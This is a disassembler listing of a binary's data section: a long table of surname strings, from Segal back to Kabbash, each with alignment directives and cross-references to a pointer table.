aSegal db 'Segal',0 ; DATA XREF: ___:0042EB80o
align 10h
aSeeber db 'Seeber',0 ; DATA XREF: ___:0042EB7Co
align 4
aSeaton db 'Seaton',0 ; DATA XREF: ___:0042EB78o
align 10h
aScudder db 'Scudder',0 ; DATA XREF: ___:0042EB74o
aScovel db 'Scovel',0 ; DATA XREF: ___:0042EB70o
align 10h
aSchwickrath db 'Schwickrath',0 ; DATA XREF: ___:0042EB6Co
aSchwan db 'Schwan',0 ; DATA XREF: ___:0042EB68o
align 4
aSchuyler db 'Schuyler',0 ; DATA XREF: ___:0042EB64o
align 10h
aSchutte db 'Schutte',0 ; DATA XREF: ___:0042EB60o
aSchuman db 'Schuman',0 ; DATA XREF: ___:0042EB5Co
aSchossberger db 'Schossberger',0 ; DATA XREF: ___:0042EB58o
align 10h
aSchmitt db 'Schmitt',0 ; DATA XREF: ___:0042EB54o
aSchilling db 'Schilling',0 ; DATA XREF: ___:0042EB50o
align 4
aSchifini db 'Schifini',0 ; DATA XREF: ___:0042EB4Co
align 10h
aSchiano db 'Schiano',0 ; DATA XREF: ___:0042EB48o
aScheiner db 'Scheiner',0 ; DATA XREF: ___:0042EB44o
align 4
aScharlemann db 'Scharlemann',0 ; DATA XREF: ___:0042EB40o
aScharf db 'Scharf',0 ; DATA XREF: ___:0042EB3Co
align 4
aScepan db 'Scepan',0 ; DATA XREF: ___:0042EB38o
align 10h
aScarponi db 'Scarponi',0 ; DATA XREF: ___:0042EB34o
align 4
aSayied db 'Sayied',0 ; DATA XREF: ___:0042EB30o
align 4
aSawtell db 'Sawtell',0 ; DATA XREF: ___:0042EB2Co
aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: ___:0042EB28o
align 4
aSatta db 'Satta',0 ; DATA XREF: ___:0042EB24o
align 4
aSatin db 'Satin',0 ; DATA XREF: ___:0042EB20o
align 4
aSase db 'Sase',0 ; DATA XREF: ___:0042EB1Co
align 4
aSartore db 'Sartore',0 ; DATA XREF: ___:0042EB18o
aSarin db 'Sarin',0 ; DATA XREF: ___:0042EB14o
align 4
aSapers db 'Sapers',0 ; DATA XREF: ___:0042EB10o
align 4
aSanna db 'Sanna',0 ; DATA XREF: ___:0042EB0Co
align 4
aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: ___:0042EB08o
aSamson db 'Samson',0 ; DATA XREF: ___:0042EB04o
align 4
aSali db 'Sali',0 ; DATA XREF: ___:0042EB00o
align 4
aSahu db 'Sahu',0 ; DATA XREF: ___:0042EAFCo
align 4
aSafire db 'Safire',0 ; DATA XREF: ___:0042EAF8o
align 4
aSadler db 'Sadler',0 ; DATA XREF: ___:0042EAF4o
align 4
aSabatello db 'Sabatello',0 ; DATA XREF: ___:0042EAF0o
align 4
aRyu db 'Ryu',0 ; DATA XREF: ___:0042EAECo
aRush db 'Rush',0 ; DATA XREF: ___:0042EAE8o
align 4
aRuescher db 'Ruescher',0 ; DATA XREF: ___:0042EAE4o
align 10h
aRuderman db 'Ruderman',0 ; DATA XREF: ___:0042EAE0o
align 4
aRuan db 'Ruan',0 ; DATA XREF: ___:0042EADCo
align 4
aRu db 'Ru',0 ; DATA XREF: ___:0042EAD8o
align 4
aRoyal db 'Royal',0 ; DATA XREF: ___:0042EAD4o
align 10h
aRow db 'Row',0 ; DATA XREF: ___:0042EAD0o
aRonen db 'Ronen',0 ; DATA XREF: ___:0042EACCo
align 4
aRogers db 'Rogers',0 ; DATA XREF: ___:0042EAC8o
align 4
aRoesler db 'Roesler',0 ; DATA XREF: ___:0042EAC4o
aRocha db 'Rocha',0 ; DATA XREF: ___:0042EAC0o
align 4
aRobinson db 'Robinson',0 ; DATA XREF: ___:0042EABCo
align 10h
aRivera db 'Rivera',0 ; DATA XREF: ___:0042EAB8o
align 4
aRish db 'Rish',0 ; DATA XREF: ___:0042EAB4o
align 10h
aRineer db 'Rineer',0 ; DATA XREF: ___:0042EAB0o
align 4
aRindos db 'Rindos',0 ; DATA XREF: ___:0042EAACo
align 10h
aRielly db 'Rielly',0 ; DATA XREF: ___:0042EAA8o
align 4
aRichmond db 'Richmond',0 ; DATA XREF: ___:0042EAA4o
align 4
aRhea db 'Rhea',0 ; DATA XREF: ___:0042EAA0o
align 4
aResnik db 'Resnik',0 ; DATA XREF: ___:0042EA9Co
align 4
aRepetto db 'Repetto',0 ; DATA XREF: ___:0042EA98o
aRenick db 'Renick',0 ; DATA XREF: ___:0042EA94o
align 4
aRemak db 'Remak',0 ; DATA XREF: ___:0042EA90o
align 4
aReinold db 'Reinold',0 ; DATA XREF: ___:0042EA8Co
aCunningham db 'Cunningham',0 ; DATA XREF: ___:0042EA88o
align 10h
aReedquist db 'Reedquist',0 ; DATA XREF: ___:0042EA84o
align 4
aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: ___:0042EA80o
align 4
aRayport db 'Rayport',0 ; DATA XREF: ___:0042EA7Co
aRapple db 'Rapple',0 ; DATA XREF: ___:0042EA78o
align 4
aRankin db 'Rankin',0 ; DATA XREF: ___:0042EA74o
align 4
aRangan db 'Rangan',0 ; DATA XREF: ___:0042EA70o
align 4
aRaney db 'Raney',0 ; DATA XREF: ___:0042EA6Co
align 4
aRajagopalan db 'Rajagopalan',0 ; DATA XREF: ___:0042EA68o
aRadeke db 'Radeke',0 ; DATA XREF: ___:0042EA64o
align 4
aRabkin db 'Rabkin',0 ; DATA XREF: ___:0042EA60o
align 10h
aRabe db 'Rabe',0 ; DATA XREF: ___:0042EA5Co
align 4
aQuetin db 'Quetin',0 ; DATA XREF: ___:0042EA58o
align 10h
aQuaday db 'Quaday',0 ; DATA XREF: ___:0042EA54o
align 4
aPynchon db 'Pynchon',0 ; DATA XREF: ___:0042EA50o
aPugh db 'Pugh',0 ; DATA XREF: ___:0042EA4Co
align 4
aPuccia db 'Puccia',0 ; DATA XREF: ___:0042EA48o
align 10h
aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: ___:0042EA44o
align 10h
aProietti db 'Proietti',0 ; DATA XREF: ___:0042EA40o
align 4
aPritz db 'Pritz',0 ; DATA XREF: ___:0042EA3Co
align 4
aPritchard db 'Pritchard',0 ; DATA XREF: ___:0042EA38o
align 10h
aPrevost db 'Prevost',0 ; DATA XREF: ___:0042EA34o
aPreucel db 'Preucel',0 ; DATA XREF: ___:0042EA30o
aPresper db 'Presper',0 ; DATA XREF: ___:0042EA2Co
aPowers db 'Powers',0 ; DATA XREF: ___:0042EA28o
align 10h
aPoolman db 'Poolman',0 ; DATA XREF: ___:0042EA24o
aPoma db 'Poma',0 ; DATA XREF: ___:0042EA20o
align 10h
aPolitis db 'Politis',0 ; DATA XREF: ___:0042EA1Co
aPolanyi db 'Polanyi',0 ; DATA XREF: ___:0042EA18o
aPolak db 'Polak',0 ; DATA XREF: ___:0042EA14o
align 4
aPoirier db 'Poirier',0 ; DATA XREF: ___:0042EA10o
aPointer db 'Pointer',0 ; DATA XREF: ___:0042EA0Co
aPoincaire db 'Poincaire',0 ; DATA XREF: ___:0042EA08o
align 4
aPocobene db 'Pocobene',0 ; DATA XREF: ___:0042EA04o
align 10h
aPo db 'Po',0 ; DATA XREF: ___:0042EA00o
align 4
aPlous db 'Plous',0 ; DATA XREF: ___:0042E9FCo
align 4
aPlasket db 'Plasket',0 ; DATA XREF: ___:0042E9F8o
aPlant db 'Plant',0 ; DATA XREF: ___:0042E9F4o
align 4
aPlancon db 'Plancon',0 ; DATA XREF: ___:0042E9F0o
aPinot db 'Pinot',0 ; DATA XREF: ___:0042E9ECo
align 4
aPilbeam db 'Pilbeam',0 ; DATA XREF: ___:0042E9E8o
aPfister db 'Pfister',0 ; DATA XREF: ___:0042E9E4o
aPettit db 'Pettit',0 ; DATA XREF: ___:0042E9E0o
align 4
aPettibone db 'Pettibone',0 ; DATA XREF: ___:0042E9DCo
align 10h
aPetruzello db 'Petruzello',0 ; DATA XREF: ___:0042E9D8o
align 4
aPeters db 'Peters',0 ; DATA XREF: ___:0042E9D4o
align 4
aPerrimon db 'Perrimon',0 ; DATA XREF: ___:0042E9D0o
align 10h
aPerone db 'Perone',0 ; DATA XREF: ___:0042E9CCo
align 4
aPerna db 'Perna',0 ; DATA XREF: ___:0042E9C8o
align 10h
aPerlman db 'Perlman',0 ; DATA XREF: ___:0042E9C4o
aPerlak db 'Perlak',0 ; DATA XREF: ___:0042E9C0o
align 10h
aPerko db 'Perko',0 ; DATA XREF: ___:0042E9BCo
align 4
aPereira db 'Pereira',0 ; DATA XREF: ___:0042E9B8o
aPenny db 'Penny',0 ; DATA XREF: ___:0042E9B4o
align 4
aPeishel db 'Peishel',0 ; DATA XREF: ___:0042E9B0o
aPederson db 'Pederson',0 ; DATA XREF: ___:0042E9ACo
align 4
aPearlberg db 'Pearlberg',0 ; DATA XREF: ___:0042E9A8o
align 4
aPeabody db 'Peabody',0 ; DATA XREF: ___:0042E9A4o
aPaynter db 'Paynter',0 ; DATA XREF: ___:0042E9A0o
aPawloski db 'Pawloski',0 ; DATA XREF: ___:0042E99Co
align 4
aPavlon db 'Pavlon',0 ; DATA XREF: ___:0042E998o
align 4
aPavetti db 'Pavetti',0 ; DATA XREF: ___:0042E994o
aPattullo db 'Pattullo',0 ; DATA XREF: ___:0042E990o
align 10h
aPatrick db 'Patrick',0 ; DATA XREF: ___:0042E98Co
aPatefield db 'Patefield',0 ; DATA XREF: ___:0042E988o
align 4
aPascucci db 'Pascucci',0 ; DATA XREF: ___:0042E984o
align 10h
aPartridge db 'Partridge',0 ; DATA XREF: ___:0042E980o
align 4
aParris db 'Parris',0 ; DATA XREF: ___:0042E97Co
align 4
aParmeggiani db 'Parmeggiani',0 ; DATA XREF: ___:0042E978o
aPaoletti db 'Paoletti',0 ; DATA XREF: ___:0042E974o
align 4
aPantilla db 'Pantilla',0 ; DATA XREF: ___:0042E970o
align 4
aPanizzon db 'Panizzon',0 ; DATA XREF: ___:0042E96Co
align 4
aPanadero db 'Panadero',0 ; DATA XREF: ___:0042E968o
align 10h
aPalmitesta db 'Palmitesta',0 ; DATA XREF: ___:0042E964o
align 4
aPallara db 'Pallara',0 ; DATA XREF: ___:0042E960o
aPalepu db 'Palepu',0 ; DATA XREF: ___:0042E95Co
align 4
aPalayoor db 'Palayoor',0 ; DATA XREF: ___:0042E958o
align 4
aPaine db 'Paine',0 ; DATA XREF: ___:0042E954o
align 10h
aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: ___:0042E950o
align 10h
aOvid db 'Ovid',0 ; DATA XREF: ___:0042E94Co
align 4
aOuchida db 'Ouchida',0 ; DATA XREF: ___:0042E948o
aOtten db 'Otten',0 ; DATA XREF: ___:0042E944o
align 4
aOttaviani db 'Ottaviani',0 ; DATA XREF: ___:0042E940o
align 4
aOstrowski db 'Ostrowski',0 ; DATA XREF: ___:0042E93Co
align 10h
aOspina db 'Ospina',0 ; DATA XREF: ___:0042E938o
align 4
aOrsi db 'Orsi',0 ; DATA XREF: ___:0042E934o
align 10h
aOrfield db 'Orfield',0 ; DATA XREF: ___:0042E930o
aOray db 'Oray',0 ; DATA XREF: ___:0042E92Co
align 10h
aOpel db 'Opel',0 ; DATA XREF: ___:0042E928o
align 4
aOMeara db 'O',27h,'meara',0 ; DATA XREF: ___:0042E924o
aOman db 'Oman',0 ; DATA XREF: ___:0042E920o
align 4
aOMalley db 'O',27h,'malley',0 ; DATA XREF: ___:0042E91Co
align 4
aOlszewski db 'Olszewski',0 ; DATA XREF: ___:0042E918o
align 10h
aOlson db 'Olson',0 ; DATA XREF: ___:0042E914o
align 4
aOlsen db 'Olsen',0 ; DATA XREF: ___:0042E910o
align 10h
aOldford db 'Oldford',0 ; DATA XREF: ___:0042E90Co
aOHagan db 'O',27h,'hagan',0 ; DATA XREF: ___:0042E908o
aOh db 'Oh',0 ; DATA XREF: ___:0042E904o
align 4
aOgata db 'Ogata',0 ; DATA XREF: ___:0042E900o
align 4
aOcougne db 'Ocougne',0 ; DATA XREF: ___:0042E8FCo
aNuzum db 'Nuzum',0 ; DATA XREF: ___:0042E8F8o
align 4
aNotman db 'Notman',0 ; DATA XREF: ___:0042E8F4o
align 4
aNitabach db 'Nitabach',0 ; DATA XREF: ___:0042E8F0o
align 10h
aNisenson db 'Nisenson',0 ; DATA XREF: ___:0042E8ECo
align 4
aNickoloff db 'Nickoloff',0 ; DATA XREF: ___:0042E8E8o
align 4
aNickerson db 'Nickerson',0 ; DATA XREF: ___:0042E8E4o
align 4
aNi_0 db 'Ni',0 ; DATA XREF: ___:0042E8E0o
align 4
aNg db 'Ng',0 ; DATA XREF: ___:0042E8DCo
align 4
aNewlin db 'Newlin',0 ; DATA XREF: ___:0042E8D8o
align 4
aNewfeld db 'Newfeld',0 ; DATA XREF: ___:0042E8D4o
aNeuman db 'Neuman',0 ; DATA XREF: ___:0042E8D0o
align 4
aNesci db 'Nesci',0 ; DATA XREF: ___:0042E8CCo
align 4
aNenna db 'Nenna',0 ; DATA XREF: ___:0042E8C8o
align 4
aNelson db 'Nelson',0 ; DATA XREF: ___:0042E8C4o
align 4
aNayduch db 'Nayduch',0 ; DATA XREF: ___:0042E8C0o
aNaviaux db 'Naviaux',0 ; DATA XREF: ___:0042E8BCo
aNardone db 'Nardone',0 ; DATA XREF: ___:0042E8B8o
aNardi db 'Nardi',0 ; DATA XREF: ___:0042E8B4o
align 4
aNapolitano db 'Napolitano',0 ; DATA XREF: ___:0042E8B0o
align 4
aNaddeo db 'Naddeo',0 ; DATA XREF: ___:0042E8ACo
align 10h
aMussachio db 'Mussachio',0 ; DATA XREF: ___:0042E8A8o
align 4
aMumford db 'Mumford',0 ; DATA XREF: ___:0042E8A4o
aMulroy db 'Mulroy',0 ; DATA XREF: ___:0042E8A0o
align 4
aMulkern db 'Mulkern',0 ; DATA XREF: ___:0042E89Co
aMugnai db 'Mugnai',0 ; DATA XREF: ___:0042E898o
align 4
aMuello db 'Muello',0 ; DATA XREF: ___:0042E894o
align 4
aMudarri db 'Mudarri',0 ; DATA XREF: ___:0042E890o
aMotooka db 'Motooka',0 ; DATA XREF: ___:0042E88Co
aMostafavi db 'Mostafavi',0 ; DATA XREF: ___:0042E888o
align 10h
aMosler db 'Mosler',0 ; DATA XREF: ___:0042E884o
align 4
aMosher db 'Mosher',0 ; DATA XREF: ___:0042E880o
align 10h
aMortimer db 'Mortimer',0 ; DATA XREF: ___:0042E87Co
align 4
aMorrow db 'Morrow',0 ; DATA XREF: ___:0042E878o
align 4
aMorrison db 'Morrison',0 ; DATA XREF: ___:0042E874o
align 10h
aMoreton db 'Moreton',0 ; DATA XREF: ___:0042E870o
aMorani db 'Morani',0 ; DATA XREF: ___:0042E86Co
align 10h
aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: ___:0042E868o
align 4
aMontilio db 'Montilio',0 ; DATA XREF: ___:0042E864o
align 4
aMonque db 'Monque',0 ; DATA XREF: ___:0042E860o
align 10h
aMoiamedi db 'Moiamedi',0 ; DATA XREF: ___:0042E85Co
align 4
aMohr db 'Mohr',0 ; DATA XREF: ___:0042E858o
align 4
aMoeller db 'Moeller',0 ; DATA XREF: ___:0042E854o
aModestino db 'Modestino',0 ; DATA XREF: ___:0042E850o
align 4
aMocroft db 'Mocroft',0 ; DATA XREF: ___:0042E84Co
aMittal db 'Mittal',0 ; DATA XREF: ___:0042E848o
align 4
aMitropoulos db 'Mitropoulos',0 ; DATA XREF: ___:0042E844o
aGonzalez db 'Gonzalez',0 ; DATA XREF: ___:0042E840o
align 10h
aMinichiello db 'Minichiello',0 ; DATA XREF: ___:0042E83Co
aMini db 'Mini',0 ; DATA XREF: ___:0042E838o
align 4
aMinh db 'Minh',0 ; DATA XREF: ___:0042E834o
align 4
aMills db 'Mills',0 ; DATA XREF: ___:0042E830o
align 4
aMieher db 'Mieher',0 ; DATA XREF: ___:0042E82Co
align 4
aMiddle db 'Middle',0 ; DATA XREF: ___:0042E828o
align 4
aMichelman db 'Michelman',0 ; DATA XREF: ___:0042E824o
align 10h
aMeurer db 'Meurer',0 ; DATA XREF: ___:0042E820o
align 4
aMetropolis db 'Metropolis',0 ; DATA XREF: ___:0042E81Co
align 4
aMetelka db 'Metelka',0 ; DATA XREF: ___:0042E818o
aMerz db 'Merz',0 ; DATA XREF: ___:0042E814o
align 4
aMerseth db 'Merseth',0 ; DATA XREF: ___:0042E810o
aMerminod db 'Merminod',0 ; DATA XREF: ___:0042E80Co
align 4
aMerlani db 'Merlani',0 ; DATA XREF: ___:0042E808o
aMerikoski db 'Merikoski',0 ; DATA XREF: ___:0042E804o
align 4
aMenzies db 'Menzies',0 ; DATA XREF: ___:0042E800o
aMemisoglu db 'Memisoglu',0 ; DATA XREF: ___:0042E7FCo
align 10h
aMeccariello db 'Meccariello',0 ; DATA XREF: ___:0042E7F8o
aMcnulty db 'Mcnulty',0 ; DATA XREF: ___:0042E7F4o
aMcnealy db 'Mcnealy',0 ; DATA XREF: ___:0042E7F0o
aMclaren db 'Mclaren',0 ; DATA XREF: ___:0042E7ECo
aMclane db 'Mclane',0 ; DATA XREF: ___:0042E7E8o
align 4
aMckenna db 'Mckenna',0 ; DATA XREF: ___:0042E7E4o
aMcintosh db 'Mcintosh',0 ; DATA XREF: ___:0042E7E0o
align 10h
aMcilroy db 'McIlroy',0 ; DATA XREF: ___:0042E7DCo
aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: ___:0042E7D8o
align 4
aMcghee db 'Mcghee',0 ; DATA XREF: ___:0042E7D4o
align 4
aMcfadden db 'McFadden',0 ; DATA XREF: ___:0042E7D0o
align 4
aMcelroy db 'Mcelroy',0 ; DATA XREF: ___:0042E7CCo
aMcdowell db 'Mcdowell',0 ; DATA XREF: ___:0042E7C8o
align 4
aMcclearn db 'Mcclearn',0 ; DATA XREF: ___:0042E7C4o
align 4
aMccall db 'Mccall',0 ; DATA XREF: ___:0042E7C0o
align 10h
aMccaffery db 'Mccaffery',0 ; DATA XREF: ___:0042E7BCo
align 4
aMcbride db 'Mcbride',0 ; DATA XREF: ___:0042E7B8o
aMazziotta db 'Mazziotta',0 ; DATA XREF: ___:0042E7B4o
align 10h
aMazzali db 'Mazzali',0 ; DATA XREF: ___:0042E7B0o
aMay db 'May',0 ; DATA XREF: ___:0042E7ACo
aMauzy db 'Mauzy',0 ; DATA XREF: ___:0042E7A8o
align 4
aMattson db 'Mattson',0 ; DATA XREF: ___:0042E7A4o
aMatsukata db 'Matsukata',0 ; DATA XREF: ___:0042E7A0o
align 4
aMatarazzo db 'Matarazzo',0 ; DATA XREF: ___:0042E79Co
align 4
aMatalka db 'Matalka',0 ; DATA XREF: ___:0042E798o
aMass db 'Mass',0 ; DATA XREF: ___:0042E794o
align 4
aMarubini db 'Marubini',0 ; DATA XREF: ___:0042E790o
align 10h
aMarton db 'Marton',0 ; DATA XREF: ___:0042E78Co
align 4
aMartochio db 'Martochio',0 ; DATA XREF: ___:0042E788o
align 4
aMartinez db 'Martinez',0 ; DATA XREF: ___:0042E784o
align 10h
aMarques db 'Marques',0 ; DATA XREF: ___:0042E780o
aMargetts db 'Margetts',0 ; DATA XREF: ___:0042E77Co
align 4
aMargalit db 'Margalit',0 ; DATA XREF: ___:0042E778o
align 10h
aMarcus db 'Marcus',0 ; DATA XREF: ___:0042E774o
align 4
aMarchbanks db 'Marchbanks',0 ; DATA XREF: ___:0042E770o
align 4
aMarch db 'March',0 ; DATA XREF: ___:0042E76Co
align 4
aMantovan db 'Mantovan',0 ; DATA XREF: ___:0042E768o
align 4
aManganiello db 'Manganiello',0 ; DATA XREF: ___:0042E764o
aMandel db 'Mandel',0 ; DATA XREF: ___:0042E760o
align 4
aManalis db 'Manalis',0 ; DATA XREF: ___:0042E75Co
aMalova db 'Malova',0 ; DATA XREF: ___:0042E758o
align 4
aMaller db 'Maller',0 ; DATA XREF: ___:0042E754o
align 4
aMalatesta db 'Malatesta',0 ; DATA XREF: ___:0042E750o
align 10h
aMaisano db 'Maisano',0 ; DATA XREF: ___:0042E74Co
aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: ___:0042E748o
align 4
aMaier db 'Maier',0 ; DATA XREF: ___:0042E744o
align 10h
aMahony db 'Mahony',0 ; DATA XREF: ___:0042E740o
align 4
aMaggio db 'Maggio',0 ; DATA XREF: ___:0042E73Co
align 10h
aMadigan db 'Madigan',0 ; DATA XREF: ___:0042E738o
aMacy db 'Macy',0 ; DATA XREF: ___:0042E734o
align 10h
aMacmillan db 'MacMillan',0 ; DATA XREF: ___:0042E730o
align 4
aMackenney db 'Mackenney',0 ; DATA XREF: ___:0042E72Co
align 4
aMacintyre db 'Macintyre',0 ; DATA XREF: ___:0042E728o
align 4
aMaceachern db 'Maceachern',0 ; DATA XREF: ___:0042E724o
align 10h
aMacdonald db 'Macdonald',0 ; DATA XREF: ___:0042E720o
align 4
aMaccormac db 'Maccormac',0 ; DATA XREF: ___:0042E71Co
align 4
aMa db 'Ma',0 ; DATA XREF: ___:0042E718o
align 4
aLuzader db 'Luzader',0 ; DATA XREF: ___:0042E714o
aLutcavage db 'Lutcavage',0 ; DATA XREF: ___:0042E710o
align 10h
aLussier db 'Lussier',0 ; DATA XREF: ___:0042E70Co
aLuoma db 'Luoma',0 ; DATA XREF: ___:0042E708o
align 10h
aLunetta db 'Lunetta',0 ; DATA XREF: ___:0042E704o
aLuecke db 'Luecke',0 ; DATA XREF: ___:0042E700o
align 10h
aLuczkow db 'Luczkow',0 ; DATA XREF: ___:0042E6FCo
aLuciano db 'Luciano',0 ; DATA XREF: ___:0042E6F8o
aLucas db 'Lucas',0 ; DATA XREF: ___:0042E6F4o
align 4
aLubin db 'Lubin',0 ; DATA XREF: ___:0042E6F0o
align 10h
aLoza db 'Loza',0 ; DATA XREF: ___:0042E6ECo
align 4
aLowenstein db 'Lowenstein',0 ; DATA XREF: ___:0042E6E8o
align 4
aLoveman db 'Loveman',0 ; DATA XREF: ___:0042E6E4o
aLoss db 'Loss',0 ; DATA XREF: ___:0042E6E0o
align 4
aLongworth db 'Longworth',0 ; DATA XREF: ___:0042E6DCo
align 10h
aLocatelli db 'Locatelli',0 ; DATA XREF: ___:0042E6D8o
align 4
aLizardo db 'Lizardo',0 ; DATA XREF: ___:0042E6D4o
aLivolsi db 'Livolsi',0 ; DATA XREF: ___:0042E6D0o
aLivi db 'Livi',0 ; DATA XREF: ___:0042E6CCo
align 4
aLivernash db 'Livernash',0 ; DATA XREF: ___:0042E6C8o
align 10h
aLitvak db 'Litvak',0 ; DATA XREF: ___:0042E6C4o
align 4
aLittle db 'Little',0 ; DATA XREF: ___:0042E6C0o
align 10h
aLipponen db 'Lipponen',0 ; DATA XREF: ___:0042E6BCo
align 4
aLippmann db 'Lippmann',0 ; DATA XREF: ___:0042E6B8o
align 4
aLinzee db 'Linzee',0 ; DATA XREF: ___:0042E6B4o
align 10h
aLinehan db 'Linehan',0 ; DATA XREF: ___:0042E6B0o
aLine db 'Line',0 ; DATA XREF: ___:0042E6ACo
align 10h
aLinder db 'Linder',0 ; DATA XREF: ___:0042E6A8o
align 4
aLinda db 'Linda',0 ; DATA XREF: ___:0042E6A4o
align 10h
aLinares db 'Linares',0 ; DATA XREF: ___:0042E6A0o
aLim db 'Lim',0 ; DATA XREF: ___:0042E69Co
aLightfoot db 'Lightfoot',0 ; DATA XREF: ___:0042E698o
align 4
aLight db 'Light',0 ; DATA XREF: ___:0042E694o
align 10h
aLiem db 'Liem',0 ; DATA XREF: ___:0042E690o
align 4
aLidano db 'Lidano',0 ; DATA XREF: ___:0042E68Co
align 10h
aLiakos db 'Liakos',0 ; DATA XREF: ___:0042E688o
align 4
aLessi db 'Lessi',0 ; DATA XREF: ___:0042E684o
align 10h
aLesser db 'Lesser',0 ; DATA XREF: ___:0042E680o
align 4
aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: ___:0042E67Co
align 4
aLenard db 'Lenard',0 ; DATA XREF: ___:0042E678o
align 4
aLeite db 'Leite',0 ; DATA XREF: ___:0042E674o
align 4
aLeclercq db 'Leclercq',0 ; DATA XREF: ___:0042E670o
align 10h
aLecce db 'Lecce',0 ; DATA XREF: ___:0042E66Co
align 4
aLecar db 'Lecar',0 ; DATA XREF: ___:0042E668o
align 10h
aLawless db 'Lawless',0 ; DATA XREF: ___:0042E664o
aLashley db 'Lashley',0 ; DATA XREF: ___:0042E660o
aLaserna db 'Laserna',0 ; DATA XREF: ___:0042E65Co
aLanzit db 'Lanzit',0 ; DATA XREF: ___:0042E658o
align 10h
aLantieri db 'Lantieri',0 ; DATA XREF: ___:0042E654o
align 4
aLankes db 'Lankes',0 ; DATA XREF: ___:0042E650o
align 4
aLandes db 'Landes',0 ; DATA XREF: ___:0042E64Co
align 4
aLallemant db 'Lallemant',0 ; DATA XREF: ___:0042E648o
align 4
aLaing db 'Laing',0 ; DATA XREF: ___:0042E644o
align 10h
aLafler db 'Lafler',0 ; DATA XREF: ___:0042E640o
align 4
aLabunka db 'Labunka',0 ; DATA XREF: ___:0042E63Co
aLa db 'La',0 ; DATA XREF: ___:0042E638o
align 4
aKuwabara db 'Kuwabara',0 ; DATA XREF: ___:0042E634o
align 10h
aKusman db 'Kusman',0 ; DATA XREF: ___:0042E630o
align 4
aKumar db 'Kumar',0 ; DATA XREF: ___:0042E62Co
align 10h
aKuenzli db 'Kuenzli',0 ; DATA XREF: ___:0042E628o
aKrysiak db 'Krysiak',0 ; DATA XREF: ___:0042E624o
aKroemer db 'Kroemer',0 ; DATA XREF: ___:0042E620o
aKraus db 'Kraus',0 ; DATA XREF: ___:0042E61Co
align 10h
aKrasney db 'Krasney',0 ; DATA XREF: ___:0042E618o
aKrailo db 'Krailo',0 ; DATA XREF: ___:0042E614o
align 10h
aKraemer db 'Kraemer',0 ; DATA XREF: ___:0042E610o
aKovaks db 'Kovaks',0 ; DATA XREF: ___:0042E60Co
align 10h
aKotter db 'Kotter',0 ; DATA XREF: ___:0042E608o
align 4
aKorzybski db 'Korzybski',0 ; DATA XREF: ___:0042E604o
align 4
aKool db 'Kool',0 ; DATA XREF: ___:0042E600o
align 4
aKonrad db 'Konrad',0 ; DATA XREF: ___:0042E5FCo
align 4
aKoniaris db 'Koniaris',0 ; DATA XREF: ___:0042E5F8o
align 10h
aKommer db 'Kommer',0 ; DATA XREF: ___:0042E5F4o
align 4
aKoivumaki db 'Koivumaki',0 ; DATA XREF: ___:0042E5F0o
align 4
aKohn db 'Kohn',0 ; DATA XREF: ___:0042E5ECo
align 4
aKoch db 'Koch',0 ; DATA XREF: ___:0042E5E8o
align 4
aKobrick db 'Kobrick',0 ; DATA XREF: ___:0042E5E4o
aKnuff db 'Knuff',0 ; DATA XREF: ___:0042E5E0o
align 4
aKlint db 'Klint',0 ; DATA XREF: ___:0042E5DCo
align 4
aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: ___:0042E5D8o
aKling db 'Kling',0 ; DATA XREF: ___:0042E5D4o
align 10h
aKlemperer db 'Klemperer',0 ; DATA XREF: ___:0042E5D0o
align 4
aKleinfelder db 'Kleinfelder',0 ; DATA XREF: ___:0042E5CCo
aKleiman db 'Kleiman',0 ; DATA XREF: ___:0042E5C8o
aKleckner db 'Kleckner',0 ; DATA XREF: ___:0042E5C4o
align 4
aKittridge db 'Kittridge',0 ; DATA XREF: ___:0042E5C0o
align 4
aKirscht db 'Kirscht',0 ; DATA XREF: ___:0042E5BCo
aKippenberger db 'Kippenberger',0 ; DATA XREF: ___:0042E5B8o
align 10h
aKinsley db 'Kinsley',0 ; DATA XREF: ___:0042E5B4o
aKindall db 'Kindall',0 ; DATA XREF: ___:0042E5B0o
aKimura db 'Kimura',0 ; DATA XREF: ___:0042E5ACo
align 4
aKimmett db 'Kimmett',0 ; DATA XREF: ___:0042E5A8o
aKimmel db 'Kimmel',0 ; DATA XREF: ___:0042E5A4o
align 4
aKhong db 'Khong',0 ; DATA XREF: ___:0042E5A0o
align 10h
aKeul db 'Keul',0 ; DATA XREF: ___:0042E59Co
align 4
aKerry db 'Kerry',0 ; DATA XREF: ___:0042E598o
align 10h
aKendall db 'Kendall',0 ; DATA XREF: ___:0042E594o
aKemsley db 'Kemsley',0 ; DATA XREF: ___:0042E590o
aKempton db 'Kempton',0 ; DATA XREF: ___:0042E58Co
aKelsey db 'Kelsey',0 ; DATA XREF: ___:0042E588o
align 10h
aKelker db 'Kelker',0 ; DATA XREF: ___:0042E584o
align 4
aKeith db 'Keith',0 ; DATA XREF: ___:0042E580o
align 10h
aKeepper db 'Keepper',0 ; DATA XREF: ___:0042E57Co
aKeenan db 'Keenan',0 ; DATA XREF: ___:0042E578o
align 10h
aKee db 'Kee',0 ; DATA XREF: ___:0042E574o
aKawachi db 'Kawachi',0 ; DATA XREF: ___:0042E570o
aKasten db 'Kasten',0 ; DATA XREF: ___:0042E56Co
align 4
aKassower db 'Kassower',0 ; DATA XREF: ___:0042E568o
align 10h
aKarpouzes db 'Karpouzes',0 ; DATA XREF: ___:0042E564o
align 4
aKangis db 'Kangis',0 ; DATA XREF: ___:0042E560o
align 4
aKamel db 'Kamel',0 ; DATA XREF: ___:0042E55Co
align 4
aKalman db 'Kalman',0 ; DATA XREF: ___:0042E558o
align 4
aKalinowski db 'Kalinowski',0 ; DATA XREF: ___:0042E554o
align 10h
aKalil db 'Kalil',0 ; DATA XREF: ___:0042E550o
align 4
aKaligian db 'Kaligian',0 ; DATA XREF: ___:0042E54Co
align 4
aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: ___:0042E548o
aKafadar db 'Kafadar',0 ; DATA XREF: ___:0042E544o
aKaboolian db 'Kaboolian',0 ; DATA XREF: ___:0042E540o
align 4
aKabbash db 'Kabbash',0 ; DATA XREF: ___:0042E53Co
